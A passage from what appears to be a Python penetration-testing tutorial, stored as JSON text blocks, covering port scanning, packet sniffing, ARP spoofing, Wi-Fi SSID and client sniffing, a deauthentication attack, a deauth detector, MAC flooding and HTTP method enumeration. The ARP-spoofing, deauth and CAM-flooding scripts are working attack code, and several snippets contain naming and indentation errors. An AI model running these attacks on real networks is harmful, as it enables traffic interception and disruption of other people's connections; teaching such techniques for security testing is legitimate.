we can use threading. Following is an example of port scanner using threading −" }, { "code": null, "e": 63923, "s": 63098, "text": "import socket\nimport time\nimport threading\n\nfrom queue import Queue\nsocket.setdefaulttimeout(0.25)\nprint_lock = threading.Lock()\n\ntarget = input('Enter the host to be scanned: ')\nt_IP = socket.gethostbyname(target)\nprint ('Starting scan on host: ', t_IP)\n\ndef portscan(port):\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n try:\n con = s.connect((t_IP, port))\n with print_lock:\n print(port, 'is open')\n con.close()\n except:\n pass\n\ndef threader():\n while True:\n worker = q.get()\n portscan(worker)\n q.task_done()\n \nq = Queue()\n startTime = time.time()\n \nfor x in range(100):\n t = threading.Thread(target = threader)\n t.daemon = True\n t.start()\n \nfor worker in range(1, 500):\n q.put(worker)\n \nq.join()\nprint('Time taken:', time.time() - startTime)" }, { "code": null, "e": 64263, "s": 63923, "text": "In the above script, we need to import the threading module, which is inbuilt in the Python package. We are using the thread locking concept, thread_lock = threading.Lock() to avoid multiple modification at a time. Basically, threading.Lock() will allow single thread to access the variable at a time. Hence, no double modification occurs." }, { "code": null, "e": 64547, "s": 64263, "text": "Later, we define one threader() function that will fetch the work (port) from the worker for loop. Then the portscan() method is called to connect to the port and print the result. The port number is passed as parameter. Once the task is completed the q.task_done() method is called." }, { "code": null, "e": 64818, "s": 64547, "text": "Now after running the above script, we can see the difference in speed for scanning 50 to 500 ports. It only took 1.3589999675750732 seconds, which is very less than 452.3990001678467, time taken by socket port scanner for scanning the same number of ports of localhost." }, { "code": null, "e": 64868, "s": 64818, "text": "The above script generates the following output −" }, { "code": null, "e": 64997, "s": 64868, "text": "Enter the host to be scanned: localhost\nStarting scan on host: 127.0.0.1\n135 is open\n445 is open\nTime taken: 1.3589999675750732\n" }, { "code": null, "e": 65302, "s": 64997, "text": "Sniffing or network packet sniffing is the process of monitoring and capturing all the packets passing through a given network using sniffing tools. It is a form wherein, we can “tap phone wires” and get to know the conversation. It is also called wiretapping and can be applied to the computer networks." }, { "code": null, "e": 65604, "s": 65302, "text": "There is so much possibility that if a set of enterprise switch ports is open, then one of their employees can sniff the whole traffic of the network. Anyone in the same physical location can plug into the network using Ethernet cable or connect wirelessly to that network and sniff the total traffic." }, { "code": null, "e": 65912, "s": 65604, "text": "In other words, Sniffing allows you to see all sorts of traffic, both protected and unprotected. In the right conditions and with the right protocols in place, an attacking party may be able to gather information that can be used for further attacks or to cause other issues for the network or system owner." }, { "code": null, "e": 65979, "s": 65912, "text": "One can sniff the following sensitive information from a network −" }, { "code": null, "e": 65993, "s": 65979, "text": "Email traffic" }, { "code": null, "e": 66007, "s": 65993, "text": "FTP passwords" }, { "code": null, "e": 66020, "s": 66007, "text": "Web traffics" }, { "code": null, "e": 66037, "s": 66020, "text": "Telnet passwords" }, { "code": null, "e": 66058, "s": 66037, "text": "Router configuration" }, { "code": null, "e": 66072, "s": 66058, "text": "Chat sessions" }, { "code": null, "e": 66084, "s": 66072, "text": "DNS traffic" }, { "code": null, "e": 66218, "s": 66084, "text": "A sniffer normally turns the NIC of the system to the promiscuous mode so that it listens to all the data transmitted on its segment." }, { "code": null, "e": 66814, "s": 66218, "text": "The promiscuous mode refers to the unique way of Ethernet hardware, in particular, network interface cards (NICs), that allows an NIC to receive all traffic on the network, even if it is not addressed to this NIC. By default, an NIC ignores all traffic that is not addressed to it, which is done by comparing the destination address of the Ethernet packet with the hardware address (MAC) of the device. While this makes perfect sense for networking, non-promiscuous mode makes it difficult to use network monitoring and analysis software for diagnosing connectivity issues or traffic accounting." }, { "code": null, "e": 66957, "s": 66814, "text": "A sniffer can continuously monitor all the traffic to a computer through the NIC by decoding the information encapsulated in the data packets." }, { "code": null, "e": 67066, "s": 66957, "text": "Sniffing can be either Active or Passive in nature. We will now learn about the different types of sniffing." }, { "code": null, "e": 67428, "s": 67066, "text": "In passive sniffing, the traffic is locked but it is not altered in any way. Passive sniffing allows listening only. It works with the Hub devices. On a hub device, the traffic is sent to all the ports. In a network that uses hubs to connect systems, all hosts on the network can see the traffic. Therefore, an attacker can easily capture traffic going through." }, { "code": null, "e": 67581, "s": 67428, "text": "The good news is that hubs have almost become obsolete in recent times. Most modern networks use switches. Hence, passive sniffing is no more effective." }, { "code": null, "e": 67970, "s": 67581, "text": "In active sniffing, the traffic is not only locked and monitored, but it may also be altered in some way as determined by the attack. Active sniffing is used to sniff a switch-based network. It involves injecting address resolution packets (ARP) into a target network to flood on the switch content addressable memory (CAM) table. CAM keeps track of which host is connected to which port." }, { "code": null, "e": 68017, "s": 67970, "text": "Following are the Active Sniffing Techniques −" }, { "code": null, "e": 68030, "s": 68017, "text": "MAC Flooding" }, { "code": null, "e": 68043, "s": 68030, "text": "DHCP Attacks" }, { "code": null, "e": 68057, "s": 68043, "text": "DNS Poisoning" }, { "code": null, "e": 68074, "s": 68057, "text": "Spoofing Attacks" }, { "code": null, "e": 68088, "s": 68074, "text": "ARP Poisoning" }, { "code": null, "e": 68321, "s": 68088, "text": "Protocols such as the tried and true TCP/IP were never designed with security in mind. Such protocols do not offer much resistance to potential intruders. Following are the different protocols that lend themselves to easy sniffing −" }, { "code": null, "e": 68413, "s": 68321, "text": "It is used to send information in clear text without any encryption and thus a real target." }, { "code": null, "e": 68542, "s": 68413, "text": "SMTP is utilized in the transfer of emails. This protocol is efficient, but it does not include any protection against sniffing." }, { "code": null, "e": 68685, "s": 68542, "text": "It is used for all types of communication. A major drawback with this is that data and even passwords are sent over the network as clear text." }, { "code": null, "e": 68828, "s": 68685, "text": "POP is strictly used to receive emails from the servers. This protocol does not include protection against sniffing because it can be trapped." }, { "code": null, "e": 68975, "s": 68828, "text": "FTP is used to send and receive files, but it does not offer any security features. All the data is sent as clear text that can be easily sniffed." }, { "code": null, "e": 69055, "s": 68975, "text": "IMAP is same as SMTP in its functions, but it is highly vulnerable to sniffing." }, { "code": null, "e": 69182, "s": 69055, "text": "Telnet sends everything (usernames, passwords, keystrokes) over the network as clear text and hence, it can be easily sniffed." }, { "code": null, "e": 69356, "s": 69182, "text": "Sniffers are not the dumb utilities that allow you to view only live traffic. If you really want to analyze each packet, save the capture and review it whenever time allows." }, { "code": null, "e": 69457, "s": 69356, "text": "Before implementing the raw socket sniffer, let us understand the struct method as described below −" }, { "code": null, "e": 69617, "s": 69457, "text": "As the name suggests, this method is used to return the string, which is packed according to the given format. The string contains the values a1, a2 and so on." }, { "code": null, "e": 69699, "s": 69617, "text": "As the name suggests, this method unpacks the string according to a given format." }, { "code": null, "e": 69939, "s": 69699, "text": "In the following example of raw socket sniffer IP header, which is the next 20 bytes in the packet and among these 20 bytes we are interested in the last 8 bytes. The latter bytes show if the source and destination IP address are parsing −" }, { "code": null, "e": 69994, "s": 69939, "text": "Now, we need to import some basic modules as follows −" }, { "code": null, "e": 70039, "s": 69994, "text": "import socket\nimport struct\nimport binascii\n" }, { "code": null, "e": 70372, "s": 70039, "text": "Now, we will create a socket, which will have three parameters. The first parameter tells us about the packet interface — PF_PACKET for Linux specific and AF_INET for windows; the second parameter tells us that it is a raw socket and the third parameter tells us about the protocol we are interested in —0x0800 used for IP protocol." }, { "code": null, "e": 70447, "s": 70372, "text": "s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))\n" }, { "code": null, "e": 70513, "s": 70447, "text": "Now, we need to call the recvfrom() method to receive the packet." }, { "code": null, "e": 70555, "s": 70513, "text": "while True:\n packet = s.recvfrom(2048)\n" }, { "code": null, "e": 70623, "s": 70555, "text": "In the following line of code, we are ripping the Ethernet header −" }, { "code": null, "e": 70657, "s": 70623, "text": "ethernet_header = packet[0][0:14]" }, { "code": null, "e": 70755, "s": 70657, "text": "With the following line of code, we are parsing and unpacking the header with the struct method −" }, { "code": null, "e": 70810, "s": 70755, "text": "eth_header = struct.unpack(\"!6s6s2s\", ethernet_header)" }, { "code": null, "e": 70925, "s": 70810, "text": "The following line of code will return a tuple with three hex values, converted by hexify in the binascii module −" }, { "code": null, "e": 71080, "s": 70925, "text": "print \"Destination MAC:\" + binascii.hexlify(eth_header[0]) + \" Source MAC:\" + binascii.hexlify(eth_header[1]) + \" Type:\" + binascii.hexlify(eth_header[2])" }, { "code": null, "e": 71151, "s": 71080, "text": "We can now get the IP header by executing the following line of code −" }, { "code": null, "e": 71330, "s": 71151, "text": "ipheader = pkt[0][14:34]\nip_header = struct.unpack(\"!12s4s4s\", ipheader)\nprint \"Source IP:\" + socket.inet_ntoa(ip_header[1]) + \" Destination IP:\" + socket.inet_ntoa(ip_header[2])" }, { "code": null, "e": 71375, "s": 71330, "text": "Similarly, we can also parse the TCP header." }, { "code": null, "e": 71510, "s": 71375, "text": "ARP may be defined as a stateless protocol which is used for mapping Internet Protocol (IP) addresses to a physical machine addresses." }, { "code": null, "e": 71626, "s": 71510, "text": "In this section, we will learn about the working of ARP. Consider the following steps to understand how ARP works −" }, { "code": null, "e": 71746, "s": 71626, "text": "Step 1 − First, when a machine wants to communicate with another it must look up to its ARP table for physical address." }, { "code": null, "e": 71866, "s": 71746, "text": "Step 1 − First, when a machine wants to communicate with another it must look up to its ARP table for physical address." }, { "code": null, "e": 72009, "s": 71866, "text": "Step 2 − If it finds the physical address of the machine, the packet after converting to its right length, will be sent to the desired machine" }, { "code": null, "e": 72152, "s": 72009, "text": "Step 2 − If it finds the physical address of the machine, the packet after converting to its right length, will be sent to the desired machine" }, { "code": null, "e": 72271, "s": 72152, "text": "Step 3 − But if no entry is found for the IP address in the table, the ARP_request will be broadcast over the network." }, { "code": null, "e": 72390, "s": 72271, "text": "Step 3 − But if no entry is found for the IP address in the table, the ARP_request will be broadcast over the network." }, { "code": null, "e": 72665, "s": 72390, "text": "Step 4 − Now, all the machines on the network will compare the broadcasted IP address to MAC address and if any of the machines in the network identifies the address, it will respond to the ARP_request along with its IP and MAC address. Such ARP message is called ARP_reply." }, { "code": null, "e": 72940, "s": 72665, "text": "Step 4 − Now, all the machines on the network will compare the broadcasted IP address to MAC address and if any of the machines in the network identifies the address, it will respond to the ARP_request along with its IP and MAC address. Such ARP message is called ARP_reply." }, { "code": null, "e": 73083, "s": 72940, "text": "Step 5 − At last, the machine that sends the request will store the address pair in its ARP table and the whole communication will take place." }, { "code": null, "e": 73226, "s": 73083, "text": "Step 5 − At last, the machine that sends the request will store the address pair in its ARP table and the whole communication will take place." }, { "code": null, "e": 73455, "s": 73226, "text": "It may be defined as a type of attack where a malicious actor is sending a forged ARP request over the local area network. ARP Poisoning is also known as ARP Spoofing. It can be understood with the help of the following points −" }, { "code": null, "e": 73577, "s": 73455, "text": "First ARP spoofing, for overloading the switch, will constructs a huge number of falsified ARP request and reply packets." }, { "code": null, "e": 73699, "s": 73577, "text": "First ARP spoofing, for overloading the switch, will constructs a huge number of falsified ARP request and reply packets." }, { "code": null, "e": 73747, "s": 73699, "text": "Then the switch will be set in forwarding mode." }, { "code": null, "e": 73795, "s": 73747, "text": "Then the switch will be set in forwarding mode." }, { "code": null, "e": 73912, "s": 73795, "text": "Now, the ARP table would be flooded with spoofed ARP responses, so that the attackers can sniff all network packets." }, { "code": null, "e": 74029, "s": 73912, "text": "Now, the ARP table would be flooded with spoofed ARP responses, so that the attackers can sniff all network packets." }, { "code": null, "e": 74277, "s": 74029, "text": "In this section, we will understand Python implementation of ARP spoofing. For this, we need three MAC addresses — first of the victim, second of the attacker and third of the gateway. Along with that, we also need to use the code of ARP protocol." }, { "code": null, "e": 74325, "s": 74277, "text": "Let us import the required modules as follows −" }, { "code": null, "e": 74370, "s": 74325, "text": "import socket\nimport struct\nimport binascii\n" }, { "code": null, "e": 74707, "s": 74370, "text": "Now, we will create a socket, which will have three parameters. The first parameter tells us about the packet interface (PF_PACKET for Linux specific and AF_INET for windows), the second parameter tells us if it is a raw socket and the third parameter tells us about the protocol we are interested in (here 0x0800 used for IP protocol)." }, { "code": null, "e": 74820, "s": 74707, "text": "s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))\ns.bind((\"eth0\",socket.htons(0x0800)))\n" }, { "code": null, "e": 74898, "s": 74820, "text": "We will now provide the mac address of attacker, victim and gateway machine −" }, { "code": null, "e": 75016, "s": 74898, "text": "attckrmac = '\\x00\\x0c\\x29\\x4f\\x8e\\x76'\nvictimmac ='\\x00\\x0C\\x29\\x2E\\x84\\x5A'\ngatewaymac = '\\x00\\x50\\x56\\xC0\\x00\\x28'\n" }, { "code": null, "e": 75068, "s": 75016, "text": "We need to give the code of ARP protocol as shown −" }, { "code": null, "e": 75086, "s": 75068, "text": "code ='\\x08\\x06'\n" }, { "code": null, "e": 75194, "s": 75086, "text": "Two Ethernet packets, one for victim machine and another for gateway machine have been crafted as follows −" }, { "code": null, "e": 75277, "s": 75194, "text": "ethernet1 = victimmac + attckmac + code\nethernet2 = gatewaymac + attckmac + code\n" }, { "code": null, "e": 75358, "s": 75277, "text": "The following lines of code are in order as per accordance with the ARP header −" }, { "code": null, "e": 75448, "s": 75358, "text": "htype = '\\x00\\x01'\nprotype = '\\x08\\x00'\nhsize = '\\x06'\npsize = '\\x04'\nopcode = '\\x00\\x02'" }, { "code": null, "e": 75609, "s": 75448, "text": "Now we need to give the IP addresses of the gateway machine and victim machines (Let us assume we have following IP addresses for gateway and victim machines) −" }, { "code": null, "e": 75668, "s": 75609, "text": "gateway_ip = '192.168.43.85'\nvictim_ip = '192.168.43.131'\n" }, { "code": null, "e": 75769, "s": 75668, "text": "Convert the above IP addresses to hexadecimal format with the help of the socket.inet_aton() method." }, { "code": null, "e": 75856, "s": 75769, "text": "gatewayip = socket.inet_aton ( gateway_ip )\nvictimip = socket.inet_aton ( victim_ip )\n" }, { "code": null, "e": 75936, "s": 75856, "text": "Execute the following line of code to change the IP address of gateway machine." }, { "code": null, "e": 76216, "s": 75936, "text": "victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip\ngateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip\n\nwhile 1:\n s.send(victim_ARP)\n s.send(gateway_ARP)" }, { "code": null, "e": 76316, "s": 76216, "text": "ARP spoofing can be implemented using Scapy on Kali Linux. Follow these steps to perform the same −" }, { "code": null, "e": 76451, "s": 76316, "text": "In this step, we will find the IP address of the attacker machine by running the command ifconfig on the command prompt of Kali Linux." }, { "code": null, "e": 76634, "s": 76451, "text": "In this step, we will find the IP address of the target machine by running the command ifconfig on the command prompt of Kali Linux, which we need to open on another virtual machine." }, { "code": null, "e": 76746, "s": 76634, "text": "In this step, we need to ping the target machine from the attacker machine with the help of following command −" }, { "code": null, "e": 76803, "s": 76746, "text": "Ping –c 192.168.43.85(say IP address of target machine)\n" }, { "code": null, "e": 76977, "s": 76803, "text": "We already know that two machines use ARP packets to exchange MAC addresses hence after step 3, we can run the following command on the target machine to see the ARP cache −" }, { "code": null, "e": 76985, "s": 76977, "text": "arp -n\n" }, { "code": null, "e": 77047, "s": 76985, "text": "We can create ARP packets with the help of Scapy as follows −" }, { "code": null, "e": 77092, "s": 77047, "text": "scapy\narp_packt = ARP()\narp_packt.display()\n" }, { "code": null, "e": 77162, "s": 77092, "text": "We can send malicious ARP packets with the help of Scapy as follows −" }, { "code": null, "e": 77349, "s": 77162, "text": "arp_packt.pdst = “192.168.43.85”(say IP address of target machine)\narp_packt.hwsrc = “11:11:11:11:11:11”\narp_packt.psrc = ”1.1.1.1”\narp_packt.hwdst = “ff:ff:ff:ff:ff:ff”\nsend(arp_packt)\n" }, { "code": null, "e": 77397, "s": 77349, "text": "Step 7: Again check ARP cache on target machine" }, { "code": null, "e": 77497, "s": 77397, "text": "Now if we will again check ARP cache on target machine then we will see the fake address ‘1.1.1.1’." }, { "code": null, "e": 78171, "s": 77497, "text": "Wireless systems come with a lot of flexibility but on the other hand, it leads to serious security issues too. And, how does this become a serious security issue — because attackers, in case of wireless connectivity, just need to have the availability of signal to attack rather than have the physical access as in case of wired network. Penetration testing of the wireless systems is an easier task than doing that on the wired network. We cannot really apply good physical security measures against a wireless medium, if we are located close enough, we would be able to \"hear\" (or at least your wireless adapter is able to hear) everything, that is flowing over the air." }, { "code": null, "e": 78365, "s": 78171, "text": "Before we get down with learning more about pentesting of wireless network, let us consider discussing terminologies and the process of communication between the client and the wireless system." }, { "code": null, "e": 78453, "s": 78365, "text": "Let us now learn the important terminologies related to pentesting of wireless network." }, { "code": null, "e": 78773, "s": 78453, "text": "An access point (AP) is the central node in 802.11 wireless implementations. This point is used to connect users to other users within the network and also can serve as the point of interconnection between wireless LAN (WLAN) and a fixed wire network. In a WLAN, an AP is a station that transmits and receives the data." }, { "code": null, "e": 78988, "s": 78773, "text": "It is 0-32 byte long human readable text string which is basically the name assigned to a wireless network. All devices in the network must use this case-sensitive name to communicate over wireless network (Wi-Fi)." }, { "code": null, "e": 79098, "s": 78988, "text": "It is the MAC address of the Wi-Fi chipset running on a wireless access point (AP). It is generated randomly." }, { "code": null, "e": 79185, "s": 79098, "text": "It represents the range of radio frequency used by Access Point (AP) for transmission." }, { "code": null, "e": 79377, "s": 79185, "text": "Another important thing that we need to understand is the process of communication between client and the wireless system. With the help of the following diagram, we can understand the same −" }, { "code": null, "e": 79583, "s": 79377, "text": "In the communication process between client and the access point, the AP periodically sends a beacon frame to show its presence. This frame comes with information related to SSID, BSSID and channel number." }, { "code": null, "e": 79828, "s": 79583, "text": "Now, the client device will send a probe request to check for the APs in range. After sending the probe request, it will wait for the probe response from AP. The Probe request contains the information like SSID of AP, vender-specific info, etc." }, { "code": null, "e": 79971, "s": 79828, "text": "Now, after getting the probe request, AP will send a probe response, which contains the information like supported data rate, capability, etc." }, { "code": null, "e": 80061, "s": 79971, "text": "Now, the client device will send an authentication request frame containing its identity." }, { "code": null, "e": 80164, "s": 80061, "text": "Now in response, the AP will send an authentication response frame indicating acceptance or rejection." }, { "code": null, "e": 80306, "s": 80164, "text": "When the authentication is successful, the client device has sent an association request frame containing supported data rate and SSID of AP." }, { "code": null, "e": 80484, "s": 80306, "text": "Now in response, the AP will send an association response frame indicating acceptance or rejection. An association ID of the client device will be created in case of acceptance." }, { "code": null, "e": 80595, "s": 80484, "text": "We can gather the information about SSID with the help of raw socket method as well as by using Scapy library." }, { "code": null, "e": 80926, "s": 80595, "text": "We have already learnt that mon0 captures the wireless packets; so, we need to set the monitor mode to mon0. In Kali Linux, it can be done with the help of airmon-ng script. After running this script, it will give wireless card a name say wlan1. Now with the help of the following command, we need to enable monitor mode on mon0 −" }, { "code": null, "e": 80949, "s": 80926, "text": "airmon-ng start wlan1\n" }, { "code": null, "e": 81040, "s": 80949, "text": "Following is the raw socket method, Python script, which will give us the SSID of the AP −" }, { "code": null, "e": 81103, "s": 81040, "text": "First of all we need to import the socket modules as follows −" }, { "code": null, "e": 81118, "s": 81103, "text": "import socket\n" }, { "code": null, "e": 81416, "s": 81118, "text": "Now, we will create a socket that will have three parameters. The first parameter tells us about the packet interface (PF_PACKET for Linux specific and AF_INET for windows), the second parameter tells us if it is a raw socket and the third parameter tells us that we are interested in all packets." }, { "code": null, "e": 81491, "s": 81416, "text": "s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))\n" }, { "code": null, "e": 81546, "s": 81491, "text": "Now, the next line will bind the mon0 mode and 0x0003." }, { "code": null, "e": 81572, "s": 81546, "text": "s.bind((\"mon0\", 0x0003))\n" }, { "code": null, "e": 81645, "s": 81572, "text": "Now, we need to declare an empty list, which will store the SSID of APs." }, { "code": null, "e": 81659, "s": 81645, "text": "ap_list = []\n" }, { "code": null, "e": 81792, "s": 81659, "text": "Now, we need to call the recvfrom() method to receive the packet. For the sniffing to continue, we will use the infinite while loop." }, { "code": null, "e": 81834, "s": 81792, "text": "while True:\n packet = s.recvfrom(2048)\n" }, { "code": null, "e": 81917, "s": 81834, "text": "The next line of code shows if the frame is of 8 bits indicating the beacon frame." }, { "code": null, "e": 82115, "s": 81917, "text": "if packet[26] == \"\\x80\" :\n if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:\n ap_list.add(packetkt[36:42])\n \nprint(\"SSID:\",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))" }, { "code": null, "e": 82497, "s": 82115, "text": "Scapy is one of the best libraries that can allow us to easily sniff Wi-Fi packets. You can learn Scapy in detail at https://scapy.readthedocs.io/en/latest/. To begin with, run Sacpy in interactive mode and use the command conf to get the value of iface. The default interface is eth0. Now as we have the dome above, we need to change this mode to mon0. It can be done as follows −" }, { "code": null, "e": 82622, "s": 82497, "text": ">>> conf.iface = \"mon0\"\n>>> packets = sniff(count = 3)\n>>> packets\n\n<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>\n>>> len(packets)\n3" }, { "code": null, "e": 82738, "s": 82622, "text": "Let us now import Scapy as a library. Further, the execution of the following Python script will give us the SSID −" }, { "code": null, "e": 82763, "s": 82738, "text": "from scapy.all import *\n" }, { "code": null, "e": 82835, "s": 82763, "text": "Now, we need to declare an empty list which will store the SSID of APs." }, { "code": null, "e": 82849, "s": 82835, "text": "ap_list = []\n" }, { "code": null, "e": 82990, "s": 82849, "text": "Now we are going to define a function named Packet_info(), which will have the complete packet parsing logic. It will have the argument pkt." }, { "code": null, "e": 83014, "s": 82990, "text": "def Packet_info(pkt) :\n" }, { "code": null, "e": 83288, "s": 83014, "text": "In the next statement, we will apply a filter which will pass only Dot11 traffic which means 802.11 traffic. The line that follows is also a filter, which passes the traffic having frame type 0 (represents management frame) and frame subtype is 8 (represents beacon frame)." }, { "code": null, "e": 83478, "s": 83288, "text": "if pkt.haslayer(Dot11) :\n if ((pkt.type == 0) & (pkt.subtype == 8)) :\n if pkt.addr2 not in ap_list :\n ap_list.append(pkt.addr2)\n print(\"SSID:\", (pkt.addr2, pkt.info))" }, { "code": null, "e": 83604, "s": 83478, "text": "Now, the sniff function will sniff the data with iface value mon0 (for wireless packets) and invoke the Packet_info function." }, { "code": null, "e": 83646, "s": 83604, "text": "sniff(iface = \"mon0\", prn = Packet_info)\n" }, { "code": null, "e": 83768, "s": 83646, "text": "For implementing the above Python scripts, we need Wi-Fi card that is capable of sniffing the air using the monitor mode." }, { "code": null, "e": 84074, "s": 83768, "text": "For detecting the clients of access points, we need to capture the probe request frame. We can do it just as we have done in the Python script for SSID sniffer using Scapy. We need to give Dot11ProbeReq for capturing probe request frame. Following is the Python script to detect clients of access points −" }, { "code": null, "e": 84525, "s": 84074, "text": "from scapy.all import *\n\nprobe_list = []\n\nap_name= input(“Enter the name of access point”)\n\ndef Probe_info(pkt) :\n if pkt.haslayer(Dot11ProbeReq) :\n client_name = pkt.info\n \n if client_name == ap_name :\n if pkt.addr2 not in Probe_info:\n Print(“New Probe request--”, client_name)\n Print(“MAC is --”, pkt.addr2)\n Probe_list.append(pkt.addr2)\n \nsniff(iface = \"mon0\", prn = Probe_info)" }, { "code": null, "e": 84697, "s": 84525, "text": "From the perspective of a pentester, it is very important to understand how a wireless attack takes place. In this section, we will discuss two kinds of wireless attacks −" }, { "code": null, "e": 84736, "s": 84697, "text": "The de-authentication (deauth) attacks" }, { "code": null, "e": 84775, "s": 84736, "text": "The de-authentication (deauth) attacks" }, { "code": null, "e": 84799, "s": 84775, "text": "The MAC flooding attack" }, { "code": null, "e": 84823, "s": 84799, "text": "The MAC flooding attack" }, { "code": null, "e": 85353, "s": 84823, "text": "In the communication process between a client device and an access point whenever a client wants to disconnect, it needs to send the de-authentication frame. In response to that frame from the client, AP will also send a de-authentication frame. An attacker can get the advantage from this normal process by spoofing the MAC address of the victim and sending the de-authentication frame to AP. Due to this the connection between client and AP is dropped. Following is the Python script to carry out the de-authentication attack −" }, { "code": null, "e": 85394, "s": 85353, "text": "Let us first import Scapy as a library −" }, { "code": null, "e": 85430, "s": 85394, "text": "from scapy.all import *\nimport sys\n" }, { "code": null, "e": 85513, "s": 85430, "text": "Following two statements will input the MAC address of AP and victim respectively." }, { "code": null, "e": 85627, "s": 85513, "text": "BSSID = input(\"Enter MAC address of the Access Point:- \")\nvctm_mac = input(\"Enter MAC address of the Victim:- \")\n" }, { "code": null, "e": 85735, "s": 85627, "text": "Now, we need to create the de-authentication frame. It can be created by executing the following statement." }, { "code": null, "e": 85825, "s": 85735, "text": "frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()\n" }, { "code": null, "e": 85945, "s": 85825, "text": "The next line of code represents the total number of packets sent; here it is 500 and the interval between two packets." }, { "code": null, "e": 85999, "s": 85945, "text": "sendp(frame, iface = \"mon0\", count = 500, inter = .1)" }, { "code": null, "e": 86066, "s": 85999, "text": "Upon execution, the above command generates the following output −" }, { "code": null, "e": 86247, "s": 86066, "text": "Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)\nEnter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)\n" }, { "code": null, "e": 86419, "s": 86247, "text": "This is followed by the creation of the deauth frame , which is thereby sent to access point on behalf of the client. This will make the connection between them cancelled." }, { "code": null, "e": 86574, "s": 86419, "text": "The question here is how do we detect the deauth attack with Python script. Execution of the following Python script will help in detecting such attacks −" }, { "code": null, "e": 86833, "s": 86574, "text": "from scapy.all import *\ni = 1\n\ndef deauth_frame(pkt):\n if pkt.haslayer(Dot11):\n if ((pkt.type == 0) & (pkt.subtype == 12)):\n global i\n print (\"Deauth frame detected: \", i)\n i = i + 1\n sniff(iface = \"mon0\", prn = deauth_frame)" }, { "code": null, "e": 86993, "s": 86833, "text": "In the above script, the statement pkt.subtype == 12 indicates the deauth frame and the variable I which is globally defined tells about the number of packets." }, { "code": null, "e": 87060, "s": 86993, "text": "The execution of the above script generates the following output −" }, { "code": null, "e": 87211, "s": 87060, "text": "Deauth frame detected: 1\nDeauth frame detected: 2\nDeauth frame detected: 3\nDeauth frame detected: 4\nDeauth frame detected: 5\nDeauth frame detected: 6\n" }, { "code": null, "e": 87786, "s": 87211, "text": "The MAC address flooding attack (CAM table flooding attack) is a type of network attack where an attacker connected to a switch port floods the switch interface with very large number of Ethernet frames with different fake source MAC addresses. The CAM Table Overflows occur when an influx of MAC addresses is flooded into the table and the CAM table threshold is reached. This causes the switch to act like a hub, flooding the network with traffic at all ports. Such attacks are very easy to launch. The following Python script helps in launching such CAM flooding attack −" }, { "code": null, "e": 88168, "s": 87786, "text": "from scapy.all import *\n\ndef generate_packets():\npacket_list = []\nfor i in xrange(1,1000):\npacket = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())\npacket_list.append(packet)\nreturn packet_list\n\ndef cam_overflow(packet_list):\n sendp(packet_list, iface='wlan')\n\nif __name__ == '__main__':\n packet_list = generate_packets()\n cam_overflow(packet_list)" }, { "code": null, "e": 88335, "s": 88168, "text": "The main aim of this kind of attack is to check the security of the switch. We need to use port security if want to make the effect of the MAC flooding attack lessen." }, { "code": null, "e": 88674, "s": 88335, "text": "Web applications and web servers are critical to our online presence and the attacks observed against them constitute more than 70% of the total attacks attempted on the Internet. These attacks attempt to convert trusted websites into malicious ones. Due to this reason, web server and web application pen testing plays an important role." }, { "code": null, "e": 89070, "s": 88674, "text": "Why do we need to consider the safety of web servers? It is because with the rapid growth of e-commerce industry, the prime target of attackers is web server. For web server pentesting, we must know about web server, its hosting software & operating systems along with the applications, which are running on them. Gathering such information about web server is called footprinting of web server." }, { "code": null, "e": 89169, "s": 89070, "text": "In our subsequent section, we will discuss the different methods for footprinting of a web server." }, { "code": null, "e": 89358, "s": 89169, "text": "Web servers are server software or hardware dedicated to handle requests and serve responses. This is a key area for a pentester to focus on while doing penetration testing of web servers." }, { "code": null, "e": 89472, "s": 89358, "text": "Let us now discuss a few methods, implemented in Python, which can be executed for footprinting of a web server −" }, { "code": null, "e": 89712, "s": 89472, "text": "A very good practice for a penetration tester is to start by listing the various available HTTP methods. Following is a Python script with the help of which we can connect to the target web server and enumerate the available HTTP methods −" }, { "code": null, "e": 89768, "s": 89712, "text": "To begin with, we need to import the requests library −" }, { "code": null, "e": 89785, "s": 89768, "text": "import requests\n" }, { "code": null, "e": 90065, "s": 89785, "text": "After importing the requests library, create an array of HTTP methods, which we are going to send. We will make use of some standard methods like 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' and a non-standard method ‘TEST’ to check how a web server can handle the unexpected input." }, { "code": null, "e": 90140, "s": 90065, "text": "method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']\n" }, { "code": null, "e": 90292, "s": 90140, "text": "The following line of code is the main loop of the script, which will send the HTTP packets to the web server and print the method and the status code." }, { "code": null, "e": 90417, "s": 90292, "text": "for method in method_list:\n req = requests.request(method, 'Enter the URL’)\n print (method, req.status_code, req.reason)" }, { "code": null, "e": 90518, "s": 90417, "text": "The next line will test for the possibility of cross site tracing (XST) by sending the TRACE method." }, { "code": null, "e": 90624, "s": 90518, "text": "if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:\n print ('Cross Site Tracing(XST) is possible')" }, { "code": null, "e": 91049, "s": 90624, "text": "After running the above script for a particular web server, we will get 200 OK responses for a particular method accepted by the web server. We will get a 403 Forbidden response if the web server explicitly denies the method. Once we send the TRACE method for testing cross site tracing (XST), we will get 405 Not Allowed responses from the web server otherwise we will get the message ‘Cross Site Tracing(XST) is possible’." }, { "code": null, "e": 91370, "s": 91049, "text": "HTTP headers are found in both requests and responses from the web server. They also carry very important information about servers. That is why penetration tester is always interested in parsing information through HTTP headers. Following is a Python script for getting the information about headers of the web server −" }, { "code": null, "e": 91422, "s": 91370, "text": "To begin with, let us import the requests library −" }, { "code": null, "e": 91439, "s": 91422, "text": "import requests\n" }, { "code": null, "e": 91572, "s": 91439, "text": "We 